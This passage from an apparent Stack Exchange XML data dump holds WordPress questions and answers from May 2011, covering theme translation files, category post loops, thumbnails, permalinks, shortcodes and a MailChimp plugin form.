file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;themes/protoman/languages/es_ES.mo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;?php _e('Home', 'protoman'); ?&amp;gt; &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;?php _e('Account', 'protoman'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;?php _e('Shop', 'protoman'); ?&amp;gt; &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;?php _e('Corporate', 'protoman'); ?&amp;gt; &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;STILL NO LUCK!&lt;/p&gt;&#xA;" OwnerUserId="3976" LastEditorUserId="3976" LastEditorDisplayName="" LastEditDate="2011-05-17T19:13:36.907" LastActivityDate="2011-05-17T19:13:36.907" Title="How do you install a .MO (language file) to use as part of a theme?" Tags="&lt;themes&gt;&lt;multi-language&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17496" PostTypeId="1" CreationDate="2011-05-17T11:37:09.317" Score="3" ViewCount="199" Body="&lt;p&gt;I have create a category by using Custom Post Type plugin, and now only the 5 most recent posts of the category are showing.&lt;br&gt;&#xA;What I want is to show all posts for the category.&lt;br&gt;&#xA;For examle, suppose I have movies category -  I want all movies in that category.&lt;br&gt;&#xA;What code should I use and where?&lt;br&gt;&#xA;I don't know much about the wordpress, so I would appreciate a step by step process.&lt;/p&gt;&#xA;" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-18T10:16:00.947" LastActivityDate="2011-05-18T10:33:09.150" Title="How to show all posts of the category in wordpress?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;posts&gt;&lt;query-posts&gt;" AnswerCount="3" />
  <row Id="17497" PostTypeId="2" ParentId="17496" CreationDate="2011-05-17T12:15:59.063" Score="1" ViewCount="" Body="&lt;p&gt;It is quite easy to do it with wordpress. You have to understand that post are normally display within a &quot;loop&quot;, a small code that repeat itself. You have to use one to do that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA; $catPost = get_posts(get_cat_ID(&quot;NameOfTheCategory&quot;)); //change this&#xA;   foreach ($catPost as $post) : setup_postdata($post); ?&amp;gt;&#xA;       &amp;lt;div&amp;gt;&#xA;             &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &#xA;             &amp;lt;p&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php  endforeach;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should change the output to what fit your needs&lt;/p&gt;&#xA;" OwnerUserId="5906" LastActivityDate="2011-05-17T12:15:59.063" />
  <row Id="17498" PostTypeId="1" AcceptedAnswerId="18881" CreationDate="2011-05-17T16:53:18.857" Score="1" ViewCount="63" Body="&lt;p&gt;I would like to modify WordPress default search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 questions: which template file to modify, and how can I include posts ids that I want to include in search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to search from specific post ids, so I want to modify search in this particular way.&lt;/p&gt;&#xA;" OwnerUserId="4314" LastActivityDate="2011-05-31T22:27:44.010" Title="modify wordpress default search" Tags="&lt;plugin-development&gt;&lt;search&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17499" PostTypeId="2" ParentId="17495" CreationDate="2011-05-17T17:07:29.620" Score="1" ViewCount="" Body="&lt;p&gt;You need to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/load_theme_textdomain&quot; rel=&quot;nofollow&quot;&gt;load_theme_textdomain()&lt;/a&gt; in your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place this in theme functions file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function theme_init(){&#xA;    load_theme_textdomain('theme_name', get_template_directory() . '/languages');&#xA;}&#xA;add_action ('init', 'theme_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you put you language files in you theme /languages folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you language files should be es_ES.mo and es_ES.po without the text domain at the front as the codex states &lt;code&gt;File names such as: my_theme-sv_SE.mo will NOT work.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-17T18:54:33.290" LastActivityDate="2011-05-17T18:54:33.290" CommentCount="3" />
  <row Id="17500" PostTypeId="1" AcceptedAnswerId="18883" CreationDate="2011-05-17T17:20:56.437" Score="1" ViewCount="141" Body="&lt;p&gt;I am working in a new project, and I just realized that in the page/post edit pages, I don´t have the option to set a featured image/ post thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked and Twenty Ten has thumbnails support by default ( add_theme_support( 'post-thumbnails' is in functions.php). I also tried setting the thumbnails size with set_post_thumbnail_size, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.D: I installed this in a new server, is it possible that it has something to do with that? Are there any specific requirements to use post thumbnails?&lt;/p&gt;&#xA;" OwnerUserId="3765" LastActivityDate="2011-05-31T22:32:43.663" Title="Post thumbnails not working in my new install of WP 3.1 with Twenty Ten theme" Tags="&lt;3.1&gt;&lt;post-thumbnails&gt;&lt;theme-twenty-ten&gt;&lt;troubleshooting&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17501" PostTypeId="1" CreationDate="2011-05-17T17:35:15.570" Score="0" ViewCount="47" Body="&lt;p&gt;OK, a pretty dorky question, but I am new to PHP so bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I add an a href link to the code below so the custom meta field is linked on the front-end?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php if(get_post_meta($post-&amp;gt;ID, &quot;leetpress_website&quot;, true)) { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;pros&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Movie Website:  &amp;lt;/strong&amp;gt;&#xA;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;leetpress_website&quot;, true); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for putting up with my dorky-ness...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Got it working!  Thanks for the help pointing me in the right direction Bainternet!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(get_post_meta($post-&amp;gt;ID, &quot;leetpress_website&quot;, true)) { echo '&amp;lt;div class=&quot;pros&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Movie Website:  &amp;lt;/strong&amp;gt;&amp;lt;a href=&quot;'.get_post_meta($post-&amp;gt;ID, &quot;leetpress_website&quot;, true).'&quot; target=&quot;_blank&quot;&amp;gt;'.get_post_meta($post-&amp;gt;ID, &quot;leetpress_website&quot;, true).'&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;'; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5450" LastEditorUserId="5450" LastEditorDisplayName="" LastEditDate="2011-05-17T19:27:02.293" LastActivityDate="2011-05-17T19:27:02.293" Title="adding a URL to a post meta" Tags="&lt;post-meta&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17502" PostTypeId="2" ParentId="17490" CreationDate="2011-05-17T17:37:44.560" Score="0" ViewCount="" Body="&lt;p&gt;For the Now showing add &lt;code&gt;'cat' =&amp;gt; 6&lt;/code&gt;  to the query array like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $args = array( 'post_type' =&amp;gt; 'movies', 'paged'=&amp;gt;$paged ,'cat' =&amp;gt; 6);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the Coming Soon add &lt;code&gt;'cat' =&amp;gt; 7&lt;/code&gt; so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $args = array( 'post_type' =&amp;gt; 'movies', 'paged'=&amp;gt;$paged ,'cat' =&amp;gt; 7);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but from what i can see you got it working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.moxidesign.com/dev_chad/movie_category/coming-soon/&quot; rel=&quot;nofollow&quot;&gt;http://www.moxidesign.com/dev_chad/movie_category/coming-soon/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.moxidesign.com/dev_chad/movie_category/now-showing/&quot; rel=&quot;nofollow&quot;&gt;http://www.moxidesign.com/dev_chad/movie_category/now-showing/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T17:37:44.560" />
  <row Id="17503" PostTypeId="2" ParentId="17482" CreationDate="2011-05-17T17:39:43.413" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you decide upon &lt;code&gt;echo $_SERVER['HTTP_HOST'];&lt;/code&gt; (and else) what content/nav_menu you want to display?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-17T17:39:43.413" CommentCount="2" />
  <row Id="17504" PostTypeId="1" AcceptedAnswerId="17530" CreationDate="2011-05-17T17:40:10.677" Score="8" ViewCount="281" Body="&lt;p&gt;For the Stack Exchange Community Blogs, we have a network install that we've set up.  I am being told that the site administrator role is not allowing an option for user editing.  On the site's users page when hovering over a user, there is only an option for &lt;code&gt;delete&lt;/code&gt;, not one for &lt;code&gt;edit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only option related to user permissions is the following, but not really what I'm going for here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/a8s0v.png&quot; alt=&quot;add new users&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I enable the site administrator to have full control over the users on that specific site?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2011-05-18T23:52:14.633" Title="Site admin in a network install can't edit users?" Tags="&lt;multisite&gt;&lt;user-roles&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="17505" PostTypeId="2" ParentId="5053" CreationDate="2011-05-17T17:45:47.800" Score="0" ViewCount="" Body="&lt;p&gt;The problem is that Feedburner looks for a favicon in a directory that doesn't exist. Wordpress is simply using the blog name as an alias.&lt;/p&gt;&#xA;" OwnerUserId="5452" LastActivityDate="2011-05-17T17:45:47.800" />
  <row Id="17506" PostTypeId="2" ParentId="17494" CreationDate="2011-05-17T17:48:09.343" Score="0" ViewCount="" Body="&lt;p&gt;Try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'depth'        =&amp;gt; 0,&#xA;    'child_of'     =&amp;gt; 411 );&#xA;$pages = get_pages(array('child_of'));&#xA;$catNames = array( 'branding','creative','development','exhibition','packaging','print','seo','social_media','usability','web','advertising','campaign','content','feasibility','publishing','research','strategy');&#xA;foreach($pages as $post){&#xA;    setup_postdata($post);&#xA;    $company = get_field('company_name',$post-&amp;gt;ID);&#xA;    if( $company != &quot;&quot;) {&#xA;       echo '&amp;lt;h2&amp;gt;'.$company.'&amp;lt;/h2&amp;gt;';&#xA;       foreach($catNames as $key =&amp;gt; $val){&#xA;            if(in_array($val, get_field('categories',$post-&amp;gt;ID) )){&#xA;                echo '&amp;lt;a href=&quot;/tags/design/'.$val.'&quot; title=&quot;'.$val.'&quot;&amp;gt;'.ucwords($val).'&amp;lt;/a&amp;gt;';       &#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T17:48:09.343" CommentCount="4" />
  <row Id="17507" PostTypeId="2" ParentId="17501" CreationDate="2011-05-17T17:58:40.833" Score="0" ViewCount="" Body="&lt;p&gt;It looks like something happened to the code you pasted, it's not complete, but here's an example of a meta field in an href:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$mylink = get_post_meta($post-&amp;gt;ID, 'leetpress_website', true);&#xA;if($mylink){&#xA;?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $mylink ?&amp;gt;&quot; title=&quot;Movie Website&quot;&amp;gt;Movie Website&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit- ok, Bainternet edited your code, see his answer.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-17T17:58:40.833" />
  <row Id="17508" PostTypeId="2" ParentId="17501" CreationDate="2011-05-17T17:59:00.650" Score="1" ViewCount="" Body="&lt;p&gt;use another custom field with the URL and call it something like `leetpress_website_url' then change your code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(get_post_meta($post-&amp;gt;ID, &quot;leetpress_website&quot;, true)) { &#xA;    echo '&amp;lt;div class=&quot;pros&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Movie Website:  &amp;lt;/strong&amp;gt;&amp;lt;a href=&quot;'.get_post_meta($post-&amp;gt;ID, &quot;leetpress_website_url&quot;, true).'&quot;&amp;gt;'.&#xA;    get_post_meta($post-&amp;gt;ID, &quot;leetpress_website&quot;, true).'&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T17:59:00.650" CommentCount="2" />
  <row Id="17510" PostTypeId="1" CreationDate="2011-05-17T18:20:55.963" Score="0" ViewCount="63" Body="&lt;p&gt;I changed my user profile name with WP-Optimize from 'admin' to 'indie' (not really 'indie', just to show you better) but author page still is available only trough example.com/author/admin - not example.com/author/indie. Is there anything I missed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, .wired&lt;/p&gt;&#xA;" OwnerUserId="5328" LastActivityDate="2011-05-17T20:07:24.880" Title="Author page doesn't change after username change" Tags="&lt;author&gt;&lt;permalink&gt;" AnswerCount="1" />
  <row Id="17511" PostTypeId="1" AcceptedAnswerId="18764" CreationDate="2011-05-17T18:53:16.830" Score="3" ViewCount="99" Body="&lt;p&gt;I have 2 sizes thumbs for featured images with the same height:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;300 x 200&lt;/li&gt;&#xA;&lt;li&gt;540 x 200&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've checked the uploads folder and both thumbs with different sizes appear correctly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;file_name-300x200.jpg&lt;/li&gt;&#xA;&lt;li&gt;file_name-540x200.jpg&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get the bigger thumb size (540x200) as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$width = 540;&#xA;$height = 200;&#xA;echo get_the_post_thumbnail( $post-&amp;gt;ID, array($width,$height) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the image markup that is returned is for the smaller thumb zise (300x200). Interestingly, the class is displayed with the correct domantions as 'attachment-540x200':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img width=&quot;300&quot; height=&quot;200&quot; src=&quot;http://mysite.com/wp-content/uploads/file_name-300x200.jpg&quot; class=&quot;attachment-540x200 wp-post-image&quot; alt=&quot;file_name&quot; title=&quot;file_name&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate if anyone could explain what's happening and why the correct size thumb isn't returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-30T23:42:13.540" Title="Featured image with the same height thumbs returns wrong thumb" Tags="&lt;post-thumbnails&gt;&lt;image-size&gt;" AnswerCount="1" />
  <row Id="17512" PostTypeId="1" CreationDate="2011-05-17T19:07:30.563" Score="0" ViewCount="142" Body="&lt;p&gt;For my wordpress website &lt;a href=&quot;http://www.funshout.com&quot; rel=&quot;nofollow&quot;&gt;www.funshout.com&lt;/a&gt; I used this permalink setting:&lt;br&gt;&#xA; &lt;code&gt;/%category%/%postname%&lt;/code&gt;. This is already by default.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to change this to &lt;code&gt;/%postname%&lt;/code&gt;, but when I do this and refresh the page it automatically converts back to &lt;code&gt;/%category%/%postname%&lt;/code&gt;. I am not able to change this. I have tried so many plugins code hacks but of no use.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that this -  &lt;code&gt;/%category%/%postname%&lt;/code&gt; - is totally unchangeable. If i try some other setting that &lt;code&gt;%category%&lt;/code&gt; always stays there. I'm not able to remove this &lt;code&gt;%category%&lt;/code&gt; from permalink setting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I set by day and time it shows:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%category%/%year%/%monthnum%/%day%/%postname%/  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to git rid out of this &lt;code&gt;/%category%&lt;/code&gt; from permalink settings?&lt;/p&gt;&#xA;" OwnerUserId="5454" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-18T05:52:19.220" LastActivityDate="2011-08-17T00:25:40.363" Title="Custom Structure in Permalink settings in wordpress not updating" Tags="&lt;customization&gt;&lt;permalinks&gt;&lt;structure&gt;" AnswerCount="1" />
  <row Id="17513" PostTypeId="1" CreationDate="2011-05-17T19:11:01.317" Score="0" ViewCount="81" Body="&lt;p&gt;Wondering how I can add a stylesheet to wp_head section via shortcode, since shortcodes are parsed after wp_head, I've hearing about output buffering but I Am not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="3294" LastActivityDate="2011-07-20T22:08:17.400" Title="append stylesheet via shortcode" Tags="&lt;plugins&gt;&lt;shortcode&gt;&lt;wp-head&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="17514" PostTypeId="1" AcceptedAnswerId="17555" CreationDate="2011-05-17T19:12:55.807" Score="1" ViewCount="89" Body="&lt;p&gt;On the single-post page within the loop I need an array of the_tags() which is a string. and get_tags() gives me all of the tags not only this posts. Is there an easy way to get this?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastActivityDate="2011-05-18T07:20:01.043" Title="In need of array of post tags" Tags="&lt;tags&gt;&lt;single&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="17515" PostTypeId="2" ParentId="17169" CreationDate="2011-05-17T19:14:43.730" Score="2" ViewCount="" Body="&lt;p&gt;There's a way to set custom post-type search. I can only head you in the right direction and answer the first part of your question. The other part about COOKIES you'll have to review php documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't know exactly what the other &lt;code&gt;$_REQUEST&lt;/code&gt; variables you may have set for your custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's a technique on how you can hidden input fields to set various post/get/request values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.E. Here is how you set which custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;&amp;lt;?php echo home_url( '/' ); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;s&quot; id=&quot;s&quot; value=&quot;Enter keywords ...&quot; onfocus=&quot;if(this.value==this.defaultValue)this.value='';&quot; onblur=&quot;if(this.value=='')this.value=this.defaultValue;&quot;/&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;select name=&quot;post_type&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Choose Category:&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;All Categories&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;post_type_a&quot;&amp;gt;Post Type A&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;post_type_b&quot;&amp;gt;Post Type B&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;post_type_c&quot;&amp;gt;Post Type C&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;Search Help&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus when you submit the value the search will add &lt;code&gt;$_REQUEST['post_type']&lt;/code&gt; to your search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do this with a hidden form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;your_post_type&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have javascript dynamically change the value of above field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More on this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/limit-search-results-to-custom-post-type?replies=8&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/limit-search-results-to-custom-post-type?replies=8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dbaines.com/blog/archive/wordpress-custom-post-type-multiple-search/&quot; rel=&quot;nofollow&quot;&gt;http://dbaines.com/blog/archive/wordpress-custom-post-type-multiple-search/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So potentially you could just add another hidden field to limit your search with javascript etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helped!&lt;/p&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-05-17T19:20:10.730" LastActivityDate="2011-05-17T19:20:10.730" CommentCount="2" />
  <row Id="17516" PostTypeId="1" CreationDate="2011-05-17T19:16:16.173" Score="0" ViewCount="86" Body="&lt;p&gt;I'm having a custom post type and I've written a plugin that now only needs to appear on the a single page of that post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the plugin should only show its results on single-widget.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having the following issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How do I make sure that the plugin will only show up there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I'm currently doing it using a template tag, but now I don't have access to the post_id, neither using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;echo $post-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $wp_query;&#xA;    echo $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or calling any other global variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When printing global variables, the post ID is never found. I assume this has something to do with my method of calling the plugin functions through a template tag (which is just a desperate way of at least being able to test some functionality) I've tried it in both the Loop as without a Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope someone can point me in the right direction to properly call my plugin and how to be able to access the $post properties!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any advice given, it's much appreciated! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally found the solution, the key here is that I was calling the plugin with the action init. When hooking to init the global $wp_query is not available yet and neither any conditional tags. Now when hooking to wp_head the problem was solved&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could now use is_singular('custom_post_type') to see if I'm on my custom post type and also use $wp_query-&gt;post-&gt;ID to determine on which post(ID) I am. &lt;/p&gt;&#xA;" OwnerUserId="2356" LastEditorUserId="2356" LastEditorDisplayName="" LastEditDate="2011-05-19T16:34:53.687" LastActivityDate="2011-05-19T16:34:53.687" Title="Make plugin appear only on single custom post type page" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;" CommentCount="2" />
  <row Id="17517" PostTypeId="1" CreationDate="2011-05-17T19:37:32.167" Score="2" ViewCount="125" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/mailchimp/&quot; rel=&quot;nofollow&quot;&gt;the MailChimp WordPress plugin&lt;/a&gt; so that user's can sign up to a MailChimp mailing list. I want the signups to go into a specific group in my list. The plugin doesn't appear to work correctly with mailing list groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just dive into the plugin code and add a hidden field to force the users into a certain list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried digging around in there and it looks like the group is determined from an input called &quot;interests&quot;. I have tried sending the form with a hidden field with this name having the value of the name of the group I want to use, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;interests&quot; value=&quot;Group Name&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not work. Digging around on Google doesn't seem to offer much help either, as there only appears to be other confused users or not much interest in this particular aspect of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="2668" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-18T13:48:43.880" LastActivityDate="2011-08-29T22:57:43.483" Title="How to Send Group Name From MailChimp Plugin Sign Up Form" Tags="&lt;plugin-mailchimp&gt;" AnswerCount="2" />
  <row Id="17518" PostTypeId="2" ParentId="17513" CreationDate="2011-05-17T20:04:30.807" Score="2" ViewCount="" Body="&lt;p&gt;here is a handy function i use a lot which is based on &lt;code&gt;the_posts&lt;/code&gt; hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_for_shortcode($posts) {&#xA;    if ( empty($posts) )&#xA;        return $posts;&#xA;&#xA;    $flag = false;&#xA;&#xA;    foreach ($posts as $post) {&#xA;        if ( stripos($post-&amp;gt;post_content, '[YOUR_SHORTCODE_HERE') )&#xA;            $flag = true;&#xA;            break;&#xA;        }&#xA;&#xA;    if ($flag){&#xA;        //add scripts and styles here eg:&#xA;        //wp_enqueue_script&#xA;        //wp_enqueue_style&#xA;    }&#xA;    return $posts;&#xA;}&#xA;add_action('the_posts', 'check_for_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change &lt;code&gt;YOUR_SHORTCODE_HERE&lt;/code&gt; to your shortcode tag and add your styles where it says &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;//add scripts and styles here&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T20:04:30.807" />
  <row Id="17519" PostTypeId="2" ParentId="17510" CreationDate="2011-05-17T20:07:24.880" Score="2" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5742/change-the-author-slug-from-username-to-nickname&quot;&gt;&lt;strong&gt;Change the Author Slug from Username to Nickname&lt;/strong&gt;&lt;/a&gt; more specifically at Jan's answer.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T20:07:24.880" CommentCount="2" />
